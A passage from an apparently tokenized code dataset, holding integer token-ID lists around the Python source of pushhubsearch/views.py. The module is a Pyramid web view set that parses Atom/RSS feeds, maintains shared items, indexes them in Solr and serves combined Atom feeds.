29373,
1542,
2451,
1125,
13,
9651,
2295,
29889,
657,
29918,
1807,
29898,
29884,
29915,
1636,
29889,
4773,
29899,
29997,
29889,
510,
29889,
375,
29889,
978,
29889,
27259,
1495,
13,
13,
1678,
822,
1243,
29918,
2541,
29918,
9342,
29918,
265,
29918,
4230,
29918,
1220,
29898,
1311,
1125,
13,
4706,
396,
2087,
1253,
2228,
396,
29896,
29900,
29906,
13,
4706,
2295,
29918,
8336,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
15945,
13,
4706,
7953,
29901,
376,
29896,
29908,
13,
4706,
2594,
29901,
376,
29906,
29908,
13,
4706,
396,
11662,
6058,
5868,
24336,
13764,
29979,
8079,
6093,
319,
8456,
12064,
11368,
29911,
4214,
29903,
3850,
29908,
1159,
13,
4706,
4974,
2295,
29918,
8336,
1275,
426,
13,
9651,
525,
5431,
2396,
525,
29896,
742,
13,
9651,
525,
1646,
2396,
525,
29906,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
3626,
552,
29918,
339,
4769,
29918,
17642,
29918,
1220,
29898,
1311,
1125,
13,
4706,
2295,
29918,
8336,
353,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
29901,
3366,
15945,
5431,
15945,
29908,
613,
376,
1646,
3108,
1495,
13,
4706,
4974,
2295,
29918,
8336,
1275,
426,
13,
9651,
525,
29874,
2396,
6024,
5431,
29908,
742,
376,
1646,
3108,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
7323,
29898,
1311,
1125,
13,
4706,
2295,
29918,
8336,
353,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
26254,
29890,
29901,
29871,
29941,
29892,
270,
29901,
29871,
29953,
29913,
1495,
13,
4706,
4974,
29871,
29941,
1275,
2295,
29918,
8336,
29889,
7323,
877,
29874,
29889,
29890,
742,
29871,
29945,
29897,
13,
4706,
4974,
29871,
29945,
1275,
2295,
29918,
8336,
29889,
7323,
877,
29874,
29889,
29883,
742,
29871,
29945,
29897,
13,
4706,
3806,
353,
426,
13,
9651,
525,
29874,
2396,
11117,
29881,
2396,
29871,
29953,
29913,
13,
4706,
500,
13,
4706,
4974,
3806,
1275,
2295,
29918,
8336,
13,
13,
1678,
822,
1243,
29918,
14634,
29918,
957,
2429,
264,
29898,
1311,
1125,
13,
4706,
396,
2087,
1253,
2228,
396,
29896,
29896,
29900,
13,
4706,
396,
12782,
9065,
1818,
10366,
411,
967,
869,
957,
2429,
264,
29918,
1767,
13,
4706,
396,
565,
1716,
526,
12782,
9643,
13,
4706,
2295,
29918,
8336,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
15945,
13,
4706,
7953,
29901,
6435,
1646,
29913,
13,
4706,
7953,
29901,
6435,
27975,
29913,
13,
4706,
2594,
29901,
29871,
426,
29878,
29901,
29871,
29896,
29892,
269,
29901,
29871,
29906,
29913,
13,
4706,
12741,
29901,
29871,
426,
29879,
29901,
29871,
29941,
29892,
260,
29901,
29871,
29946,
29913,
13,
4706,
5124,
1159,
13,
4706,
4974,
525,
29878,
29915,
297,
2295,
29918,
8336,
1839,
5431,
2033,
322,
525,
29873,
29915,
297,
2295,
29918,
8336,
1839,
5431,
2033,
322,
2295,
29918,
8336,
1839,
5431,
16215,
29879,
2033,
1275,
29871,
29941,
13,
13,
1678,
822,
1243,
29918,
5552,
29918,
29562,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
29871,
29896,
13,
9651,
289,
29901,
426,
13,
795,
282,
29890,
29901,
29871,
29945,
13,
9651,
500,
13,
9651,
5124,
1159,
13,
4706,
4974,
29871,
29945,
1275,
2295,
29889,
29890,
29889,
24381,
13,
13,
1678,
822,
1243,
29918,
21587,
29918,
1396,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
23153,
29901,
376,
10736,
1966,
29908,
1688,
29908,
13,
9651,
443,
339,
5715,
29901,
25638,
1966,
29908,
1688,
13,
9651,
5124,
1159,
13,
4706,
4974,
525,
10736,
29908,
1688,
29915,
1275,
2295,
1839,
339,
5715,
2033,
13,
4706,
4974,
525,
10736,
29908,
1688,
29915,
1275,
2295,
1839,
348,
339,
5715,
2033,
13,
13,
1678,
822,
1243,
29918,
21587,
29918,
1396,
29918,
19676,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
995,
29901,
376,
741,
5931,
9695,
936,
1966,
1115,
1966,
29908,
29900,
29889,
29900,
29900,
1966,
613,
1966,
29908,
27392,
1966,
1115,
1966,
29908,
29929,
29929,
29889,
29929,
29929,
1966,
29908,
5038,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
525,
6377,
9695,
936,
4710,
29900,
29889,
29900,
29900,
3284,
27392,
4710,
29929,
29929,
29889,
29929,
29929,
9092,
29915,
1275,
2295,
1839,
1767,
2033,
13,
13,
1678,
822,
1243,
29918,
8149,
29918,
2541,
29918,
17057,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
847,
10736,
29914,
29883,
311,
29896,
29901,
25638,
13,
9651,
5591,
10736,
29914,
29883,
311,
29906,
1115,
376,
29883,
311,
29908,
13,
9651,
847,
10736,
29914,
29883,
311,
29941,
29901,
376,
29888,
12443,
29908,
13,
9651,
5124,
1159,
13,
4706,
4974,
525,
10736,
29915,
1275,
2295,
1839,
29914,
10736,
29914,
29883,
311,
29896,
2033,
13,
4706,
4974,
525,
29883,
311,
29915,
1275,
2295,
1839,
29914,
10736,
29914,
29883,
311,
29906,
2033,
13,
4706,
4974,
525,
29888,
12443,
29915,
1275,
2295,
1839,
29914,
10736,
29914,
29883,
311,
29941,
2033,
13,
13,
1678,
822,
1243,
29918,
6149,
362,
29918,
5975,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
3619,
584,
426,
13,
9651,
500,
13,
13,
9651,
289,
29896,
353,
5159,
13,
13,
9651,
722,
353,
376,
15866,
549,
29908,
13,
13,
9651,
6516,
18877,
584,
6435,
9435,
29913,
426,
13,
18884,
478,
1718,
584,
6435,
1707,
29913,
13,
9651,
500,
13,
13,
9651,
25148,
403,
29899,
13495,
29901,
426,
13,
18884,
478,
1718,
29871,
584,
376,
1266,
29908,
13,
9651,
500,
13,
9651,
289,
29896,
353,
518,
13,
795,
6435,
21789,
18877,
29913,
6435,
27790,
403,
29899,
13495,
29913,
13,
795,
6435,
21789,
18877,
29913,
6435,
27790,
403,
29899,
13495,
29913,
13,
9651,
4514,
13,
13,
9651,
289,
29906,
353,
518,
13,
795,
6435,
21789,
18877,
29913,
6435,
27790,
403,
29899,
13495,
29913,
13,
795,
6435,
21789,
18877,
29913,
6435,
27790,
403,
29899,
13495,
29913,
13,
9651,
4514,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
29889,
657,
703,
29890,
29896,
1159,
29961,
29896,
22322,
26865,
2033,
1275,
525,
1266,
29915,
13,
4706,
4974,
2295,
29889,
657,
703,
29890,
29906,
1159,
29961,
29896,
22322,
26865,
2033,
1275,
525,
1266,
29915,
13,
13,
1678,
822,
1243,
29918,
21587,
29918,
6831,
2063,
29918,
3126,
29918,
1686,
2561,
663,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
751,
5715,
6031,
526,
297,
278,
1021,
3402,
408,
4663,
6031,
29892,
13,
4706,
2823,
29901,
2045,
597,
3292,
29889,
510,
29914,
4366,
29890,
355,
29914,
2917,
29914,
10054,
29914,
6207,
29914,
8187,
6007,
29889,
3487,
29937,
3322,
4618,
29899,
3166,
29899,
3126,
13,
4706,
9995,
13,
4706,
2752,
353,
364,
15945,
29908,
13,
4706,
426,
13,
9651,
376,
24595,
29899,
1627,
17057,
1115,
376,
1966,
613,
13,
9651,
376,
3891,
1115,
6634,
29873,
613,
13,
9651,
376,
1217,
29899,
3891,
1115,
376,
1966,
29873,
613,
13,
9651,
376,
1482,
1220,
1115,
6634,
29876,
613,
13,
9651,
376,
1217,
29899,
1482,
1220,
1115,
376,
1966,
29876,
613,
13,
9651,
376,
7283,
1115,
6634,
29878,
613,
13,
9651,
376,
1217,
29899,
7283,
1115,
376,
1966,
29878,
613,
13,
9651,
376,
10499,
1115,
376,
29883,
22298,
7382,
29908,
13,
4706,
500,
13,
4706,
9995,
13,
4706,
3806,
353,
426,
13,
9651,
525,
24595,
29899,
1627,
17057,
2396,
525,
1966,
742,
13,
9651,
525,
3891,
2396,
11297,
29873,
742,
13,
9651,
525,
1217,
29899,
3891,
2396,
525,
1966,
29873,
742,
13,
9651,
525,
1482,
1220,
2396,
11297,
29876,
742,
13,
9651,
525,
1217,
29899,
1482,
1220,
2396,
525,
1966,
29876,
742,
13,
9651,
525,
7283,
2396,
11297,
29878,
742,
13,
9651,
525,
1217,
29899,
7283,
2396,
525,
1966,
29878,
742,
13,
9651,
525,
10499,
2396,
525,
29883,
22298,
7382,
742,
13,
4706,
500,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
4993,
29897,
13,
4706,
4974,
2295,
1275,
3806,
13,
4706,
4974,
2295,
1275,
4390,
29889,
18132,
29898,
4993,
29897,
13,
13,
13,
2202,
29901,
13,
1678,
515,
2635,
4422,
29889,
2674,
1926,
287,
2554,
1053,
14215,
287,
2554,
13,
13,
1678,
732,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
877,
1272,
29918,
842,
742,
518,
13,
4706,
6702,
29874,
29901,
29871,
29896,
7378,
742,
14215,
287,
2554,
29898,
10874,
29879,
29922,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
10874,
29879,
742,
14215,
287,
2554,
29898,
10874,
29879,
29922,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29906,
4098,
742,
14215,
287,
2554,
29898,
10874,
29879,
29922,
29906,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29941,
2730,
742,
14215,
287,
2554,
29898,
10874,
29879,
29922,
29941,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29941,
4346,
742,
14215,
287,
2554,
29898,
10874,
29879,
29922,
29941,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29941,
1601,
742,
525,
29941,
1601,
5477,
13,
13,
4706,
6702,
29874,
29901,
29871,
29896,
2440,
742,
14215,
287,
2554,
29898,
6360,
29879,
29922,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
6360,
29879,
742,
14215,
287,
2554,
29898,
6360,
29879,
29922,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29906,
1629,
742,
14215,
287,
2554,
29898,
6360,
29879,
29922,
29906,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29941,
343,
742,
14215,
287,
2554,
29898,
6360,
29879,
29922,
29941,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29941,
29891,
742,
14215,
287,
2554,
29898,
6360,
29879,
29922,
29941,
8243,
13,
13,
268,
2314,
13,
1678,
822,
1243,
29918,
5510,
29918,
1807,
29918,
2541,
29918,
19708,
29918,
25253,
29918,
348,
1169,
29898,
1272,
29918,
842,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
1272,
29918,
842,
29961,
29900,
2314,
13,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
848,
29918,
842,
29961,
29896,
29962,
13,
19499,
8960,
29901,
13,
1678,
1209,
13,
2
] |
pushhubsearch/views.py | ucla/PushHubSearch | 0 | 125395 | <reponame>ucla/PushHubSearch
"""
Copyright (c) 2013, Regents of the University of California
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the University of California nor the names of its
contributors may be used to endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
"""
import copy
import feedparser
from pyramid.httpexceptions import HTTPOk
from pyramid.httpexceptions import HTTPBadRequest
from pyramid.response import Response
from pyramid.url import route_url
from .models import SharedItem
from .feedgen import Atom1Feed
from .utils import normalize_uid
from .utils import remove_deleted_status
import logging
logger = logging.getLogger(__name__)
# NOTE: the hub only supports atom at the moment
ALLOWED_CONTENT = (
'application/atom+xml',
'application/rss+xml',
)
class UpdateItems(object):
"""Create a new SharedItem or update it if it already exists.
This will find all the entries, then create / update them. Then
do a batch index to Solr.
"""
def __init__(self, context, request):
self.context = context
self.request = request
self.create_count = 0
self.update_count = 0
self.messages = []
self.to_index = []
solr_uri = request.registry.settings.get('push.solr_uri', None)
if solr_uri is None:
raise AttributeError(u'A push.solr_uri is required')
# XXX: We are importing solr here to be able to mock it in the tests
from mysolr import Solr
self.solr = Solr(solr_uri)
self.shared = context.shared
def __call__(self):
# If the request isn't an RSS feed, bail out
if self.request.content_type not in ALLOWED_CONTENT:
body_msg = (
"The content-type of the request must be one of the "
"following: %s"
) % ", ".join(ALLOWED_CONTENT)
return HTTPBadRequest(body=body_msg)
# Create / update
self._process_items()
# Index in Solr
self._update_index()
# Return a 200 with details on what happened in the body
self.messages.append("%s items created." % self.create_count)
self.messages.append("%s items updated." % self.update_count)
return HTTPOk(body=" ".join(self.messages))
def _process_items(self):
"""Get a list of new items to create and existing items that
need to be updated.
"""
shared_content = feedparser.parse(self.request.body)
for item in shared_content.entries:
uid = item['id']
# Get the uid, minus the urn:syndication bit
item['uid'] = uid = normalize_uid(uid)
logger.info('Processing item %s' % uid)
item['link'] = item.link
item['feed_link'] = shared_content.feed.link
if uid in self.shared:
self._update_item(item)
else:
self._create_item(item)
def _create_item(self, entry):
"""Create new items in the feed
"""
new_item = SharedItem()
uid = entry['uid']
logger.info('Creating item %s' % uid)
new_item.update_from_entry(entry)
# XXX: Should name and parent be necessary here? Shouldn't
# the `add` method do that for us?
new_item.__name__ = uid
new_item.__parent__ = self.shared
self.shared.add(uid, new_item)
self.to_index.append(self.shared[uid])
self.create_count += 1
def _update_item(self, entry):
"""Update existing items in the db using their UID
"""
uid = entry['uid']
logger.info('Updating item %s' % uid)
obj = self.shared[uid]
# XXX: these aren't coming from the object. Why is that? Is
# the `add` method on the folder not setting them?
obj.__name__ = uid
obj.__parent__ = self.shared
selected_or_shared = (
'selected' in entry['feed_link'] or
'shared' in entry['feed_link']
)
if selected_or_shared and hasattr(obj, 'deletion_type'):
remove_deleted_status(uid, self.shared, self.solr)
obj.update_from_entry(entry)
self.to_index.append(obj)
self.update_count += 1
def _update_index(self):
"""Clean up the item dictionaries to contain only items that
are valid and send them over to Solr for indexing.
NOTE: Solr may error out on index if it receives a field it is
not aware of. We should change this code to look up the
Solr schema, and remove attributes that it doesn't know,
like __name__ and __parent__ below.
"""
logger.debug('Updating index for %s objects' % len(self.to_index))
cleaned = []
ignored_attrs = [
'__name__',
'__parent__',
'deletion_type',
]
for item in self.to_index:
item_dict = copy.deepcopy(item.__dict__)
if 'Modified' in item_dict:
if hasattr(item_dict['Modified'], 'isoformat'):
mod_date = item_dict['Modified'].isoformat()
else:
mod_date = item_dict['Modified']
# Make sure the date is acceptable to Solr, strip off
# the +00:00 and replace it with a Z
item_dict['Modified'] = "%sZ" % mod_date[:-6]
if 'content' in item_dict:
items = [item['value'] for item in item_dict['content']]
if items:
# XXX: use first content item, discard the rest
item_dict['content'] = items[0]
item_dict['uid'] = item_dict['__name__']
# XXX: Need to look up the schema, then modify the dict
# based on that.
for attr in ignored_attrs:
item_dict.pop(attr, '')
cleaned.append(item_dict)
# XXX: Need to handle Solr errors here
response = self.solr.update(cleaned)
return response
def update_deletions(context, request):
"""Receive a UID from the request vars and remove the associated
object from the deleted feed.
"""
uid = request.POST.get('uid')
if not uid:
return
solr_uri = request.registry.settings.get('push.solr_uri', None)
if solr_uri is None:
raise AttributeError(u'A push.solr_uri is required')
from mysolr import Solr
solr = Solr(solr_uri)
logger.debug('Remove deleted status')
remove_deleted_status(uid, context.shared, solr)
return HTTPOk(body="Item no longer marked as deleted")
def delete_items(context, request):
"""Delete the given items from the index
"""
# If the request isn't an RSS feed, bail out
if request.content_type not in ALLOWED_CONTENT:
body_msg = (
"The content-type of the request must be one of the "
"following: %s"
) % ", ".join(ALLOWED_CONTENT)
return HTTPBadRequest(body=body_msg)
solr_uri = request.registry.settings.get('push.solr_uri', None)
if solr_uri is None:
raise AttributeError(u'A push.solr_uri is required')
# XXX: We are importing solr here to be able to mock it in the tests
from mysolr import Solr
solr = Solr(solr_uri)
shared_content = feedparser.parse(request.body)
missing = []
removed = 0
for item in shared_content.entries:
uid = item['id']
uid = normalize_uid(uid)
logger.debug('Deleting %s' % uid)
if uid not in context.shared:
missing.append(uid)
solr.delete_by_key(uid)
continue
del context.shared[uid]
solr.delete_by_key(uid)
removed += 1
body_msg = "Removed %s items." % removed
if missing:
msg_str = " %s items could not be found for deletion: %s"
args = (len(missing), ', '.join(missing))
msg = msg_str % args
logger.warn(msg)
body_msg += msg
return HTTPOk(body=body_msg)
def combine_entries(container, feed_name):
"""Combines all feeds of a given type (e.g. Shared, Selected)
"""
logger.debug('Combining entries for %s' % feed_name)
if feed_name == 'deleted':
results = [entry for entry in container.values()
if feed_name in entry.feed_type]
else:
results = []
for entry in container.values():
feed_type = entry.feed_type
feed_match = feed_name in feed_type
feature_del = (
'deleted' in feed_type and
entry.deletion_type == 'featured'
)
if not feed_match or (feed_match and feature_del):
continue
results.append(entry)
results.sort(key=lambda x: x.Modified, reverse=True)
return results
def create_feed(entries, title, link, description):
"""Combine the entries into an actual Atom feed."""
new_feed = Atom1Feed(
title=title,
link=link,
description=description,
)
for entry in entries:
data = dict(
pubdate=entry.Modified,
unique_id='urn:syndication:%s' % entry.__name__,
categories=entry.Subject,
category={'term': entry.Category, 'label': u'Site Title'},
author_name=entry.Creator,
)
data['push:portal_type'] = entry.portal_type
# Tile urls are added into one element for now
data['push:tile_urls'] = '|'.join(entry.tile_urls).lstrip('|')
data['push:deleted_tile_urls'] = '|'.join(
entry.deleted_tile_urls).lstrip('|')
if getattr(entry, 'content', None):
data['content'] = entry.content
if hasattr(entry, 'deletion_type'):
data['push:deletion_type'] = entry.deletion_type
new_feed.add_item(
entry.Title,
entry.url,
entry.Description,
**data
)
return new_feed.writeString('utf-8')
def global_shared(context, request):
entries = combine_entries(context.shared, 'shared')
return Response(create_feed(entries,
'All Shared Entries',
route_url('shared', request),
'A combined feed of all entries shared to the PuSH Hub.'
))
def global_selected(context, request):
entries = combine_entries(context.shared, 'selected')
return Response(create_feed(entries,
'All Selected Entries',
route_url('selected', request),
'A combined feed of all entries selected across '
'the PuSH Hub.'
))
def global_deleted(context, request):
entries = combine_entries(context.shared, 'deleted')
return Response(create_feed(entries,
'All Deleted Entries',
route_url('deleted', request),
'A combined feed of all entries that were deleted '
' across the PuSH Hub.'
))
| [
1,
529,
276,
1112,
420,
29958,
1682,
433,
29914,
27031,
16046,
7974,
13,
15945,
29908,
13,
11882,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29941,
29892,
2169,
1237,
310,
278,
3014,
310,
8046,
13,
3596,
10462,
21676,
29889,
13,
13,
9039,
391,
3224,
322,
671,
297,
2752,
322,
7581,
7190,
29892,
411,
470,
1728,
13,
1545,
2450,
29892,
526,
21905,
4944,
393,
278,
1494,
5855,
526,
1539,
29901,
13,
13,
29871,
334,
4367,
391,
3224,
29879,
310,
2752,
775,
1818,
11551,
278,
2038,
3509,
1266,
8369,
29892,
13,
1678,
445,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
29889,
13,
13,
29871,
334,
4367,
391,
3224,
29879,
297,
7581,
883,
1818,
18532,
278,
2038,
3509,
1266,
8369,
29892,
13,
1678,
445,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
297,
278,
5106,
13,
1678,
322,
29914,
272,
916,
17279,
4944,
411,
278,
4978,
29889,
13,
13,
29871,
334,
2448,
2121,
278,
1024,
310,
278,
3014,
310,
8046,
3643,
278,
2983,
310,
967,
13,
1678,
17737,
29560,
1122,
367,
1304,
304,
1095,
272,
344,
470,
27391,
9316,
10723,
515,
445,
13,
1678,
7047,
1728,
2702,
7536,
3971,
10751,
29889,
13,
13,
4690,
3235,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
6770,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
5300,
8707,
29911,
3960,
29933,
2692,
24125,
376,
3289,
8519,
29908,
5300,
13,
2190,
29979,
8528,
15094,
1799,
6323,
306,
3580,
5265,
3352,
399,
1718,
29934,
13566,
29059,
29892,
2672,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
6093,
306,
3580,
5265,
3352,
13,
29956,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
5300,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
319,
1525,
13,
23711,
13875,
8890,
29928,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
6323,
8707,
29911,
3960,
29933,
2692,
24125,
20700,
17705,
6181,
13,
22051,
13764,
29979,
22471,
26282,
29892,
2672,
4571,
26282,
29892,
2672,
29907,
1367,
3919,
1964,
29892,
317,
4162,
8426,
1964,
29892,
8528,
29923,
3580,
29931,
19926,
29892,
6323,
8707,
1660,
13356,
3919,
25758,
13,
7698,
1529,
1692,
29903,
313,
1177,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
13756,
29907,
11499,
13780,
8079,
27092,
1254,
1806,
26027,
21947,
29949,
8452,
6323,
13,
6304,
29963,
2965,
2890,
29936,
11247,
1799,
8079,
501,
1660,
29892,
360,
8254,
29892,
6323,
13756,
29943,
1806,
29903,
29936,
6323,
350,
3308,
8895,
1799,
2672,
4945,
29934,
4897,
29911,
2725,
29897,
29832,
8851,
5348,
13,
5454,
17171,
29928,
5300,
6732,
13764,
29979,
6093,
18929,
8079,
17705,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
8707,
29911,
4717,
1783,
29892,
6850,
3960,
1783,
17705,
2882,
6227,
11937,
29892,
13,
1955,
323,
8476,
313,
1177,
6154,
15789,
4214,
405,
11787,
5265,
24647,
4741,
6323,
438,
29911,
4448,
22119,
1660,
29897,
9033,
3235,
4214,
2672,
13764,
29979,
399,
29909,
29979,
19474,
8079,
6093,
501,
1660,
13,
9800,
3446,
3235,
7791,
7818,
12982,
1525,
29892,
382,
29963,
1430,
10762,
11033,
18118,
1660,
29928,
8079,
6093,
21521,
1799,
8979,
6227,
11937,
8079,
20134,
3210,
21330,
1529,
1692,
29889,
13,
15945,
29908,
13,
13,
5215,
3509,
13,
5215,
8343,
16680,
13,
3166,
11451,
2572,
333,
29889,
691,
412,
29916,
1441,
29879,
1053,
7331,
20434,
13,
3166,
11451,
2572,
333,
29889,
691,
412,
29916,
1441,
29879,
1053,
7331,
22050,
3089,
13,
3166,
11451,
2572,
333,
29889,
5327,
1053,
13291,
13,
3166,
11451,
2572,
333,
29889,
2271,
1053,
5782,
29918,
2271,
13,
3166,
869,
9794,
1053,
21236,
2001,
13,
3166,
869,
18798,
1885,
1053,
2180,
290,
29896,
29737,
13,
3166,
869,
13239,
1053,
4226,
675,
29918,
5416,
13,
3166,
869,
13239,
1053,
3349,
29918,
311,
22742,
29918,
4882,
13,
13,
5215,
12183,
13,
21707,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
13,
29937,
6058,
29923,
29901,
278,
19766,
871,
11286,
12301,
472,
278,
3256,
13,
1964,
27998,
3352,
29918,
22412,
3919,
353,
313,
13,
1678,
525,
6214,
29914,
8678,
29974,
3134,
742,
13,
1678,
525,
6214,
29914,
29878,
893,
29974,
3134,
742,
13,
29897,
13,
13,
13,
1990,
10318,
6913,
29898,
3318,
1125,
13,
1678,
9995,
4391,
263,
716,
21236,
2001,
470,
2767,
372,
565,
372,
2307,
4864,
29889,
13,
1678,
910,
674,
1284,
599,
278,
9976,
29892,
769,
1653,
847,
2767,
963,
29889,
1987,
13,
1678,
437,
263,
9853,
2380,
304,
4956,
29878,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3030,
29892,
2009,
1125,
13,
4706,
1583,
29889,
4703,
353,
3030,
13,
4706,
1583,
29889,
3827,
353,
2009,
13,
4706,
1583,
29889,
3258,
29918,
2798,
353,
29871,
29900,
13,
4706,
1583,
29889,
5504,
29918,
2798,
353,
29871,
29900,
13,
4706,
1583,
29889,
19158,
353,
5159,
13,
4706,
1583,
29889,
517,
29918,
2248,
353,
5159,
13,
4706,
899,
29878,
29918,
5338,
353,
2009,
29889,
1727,
6020,
29889,
11027,
29889,
657,
877,
5910,
29889,
2929,
29878,
29918,
5338,
742,
6213,
29897,
13,
4706,
565,
899,
29878,
29918,
5338,
338,
6213,
29901,
13,
9651,
12020,
23833,
2392,
29898,
29884,
29915,
29909,
5503,
29889,
2929,
29878,
29918,
5338,
338,
3734,
1495,
13,
4706,
396,
22615,
29901,
1334,
526,
28348,
899,
29878,
1244,
304,
367,
2221,
304,
11187,
372,
297,
278,
6987,
13,
4706,
515,
590,
2929,
29878,
1053,
4956,
29878,
13,
4706,
1583,
29889,
2929,
29878,
353,
4956,
29878,
29898,
2929,
29878,
29918,
5338,
29897,
13,
4706,
1583,
29889,
12366,
353,
3030,
29889,
12366,
13,
13,
1678,
822,
4770,
4804,
12035,
1311,
1125,
13,
4706,
396,
29871,
960,
278,
2009,
3508,
29915,
29873,
385,
390,
1799,
8343,
29892,
289,
737,
714,
13,
4706,
565,
1583,
29889,
3827,
29889,
3051,
29918,
1853,
451,
297,
15149,
9806,
3352,
29918,
22412,
3919,
29901,
13,
9651,
3573,
29918,
7645,
353,
313,
13,
18884,
376,
1576,
2793,
29899,
1853,
310,
278,
2009,
1818,
367,
697,
310,
278,
376,
13,
18884,
376,
23031,
292,
29901,
1273,
29879,
29908,
13,
9651,
1723,
1273,
9162,
11393,
7122,
29898,
1964,
27998,
3352,
29918,
22412,
3919,
29897,
13,
9651,
736,
7331,
22050,
3089,
29898,
2587,
29922,
2587,
29918,
7645,
29897,
13,
4706,
396,
6204,
847,
2767,
13,
4706,
1583,
3032,
5014,
29918,
7076,
580,
13,
4706,
396,
11374,
297,
4956,
29878,
13,
4706,
1583,
3032,
5504,
29918,
2248,
580,
13,
4706,
396,
7106,
263,
29871,
29906,
29900,
29900,
411,
4902,
373,
825,
9559,
297,
278,
3573,
13,
4706,
1583,
29889,
19158,
29889,
4397,
11702,
29879,
4452,
2825,
1213,
1273,
1583,
29889,
3258,
29918,
2798,
29897,
13,
4706,
1583,
29889,
19158,
29889,
4397,
11702,
29879,
4452,
4784,
1213,
1273,
1583,
29889,
5504,
29918,
2798,
29897,
13,
4706,
736,
7331,
20434,
29898,
2587,
543,
11393,
7122,
29898,
1311,
29889,
19158,
876,
13,
13,
1678,
822,
903,
5014,
29918,
7076,
29898,
1311,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
716,
4452,
304,
1653,
322,
5923,
4452,
393,
13,
4706,
817,
304,
367,
4784,
29889,
13,
4706,
9995,
13,
4706,
7258,
29918,
3051,
353,
8343,
16680,
29889,
5510,
29898,
1311,
29889,
3827,
29889,
2587,
29897,
13,
4706,
363,
2944,
297,
7258,
29918,
3051,
29889,
26586,
29901,
13,
9651,
318,
333,
353,
2944,
1839,
333,
2033,
13,
9651,
396,
3617,
278,
318,
333,
29892,
26134,
278,
5065,
29876,
29901,
29879,
29891,
299,
293,
362,
2586,
13,
9651,
2944,
1839,
5416,
2033,
353,
318,
333,
353,
4226,
675,
29918,
5416,
29898,
5416,
29897,
13,
9651,
17927,
29889,
3888,
877,
7032,
292,
2944,
1273,
29879,
29915,
1273,
318,
333,
29897,
13,
9651,
2944,
1839,
2324,
2033,
353,
2944,
29889,
2324,
13,
9651,
2944,
1839,
18798,
29918,
2324,
2033,
353,
7258,
29918,
3051,
29889,
18798,
29889,
2324,
13,
9651,
565,
318,
333,
297,
1583,
29889,
12366,
29901,
13,
18884,
1583,
3032,
5504,
29918,
667,
29898,
667,
29897,
13,
9651,
1683,
29901,
13,
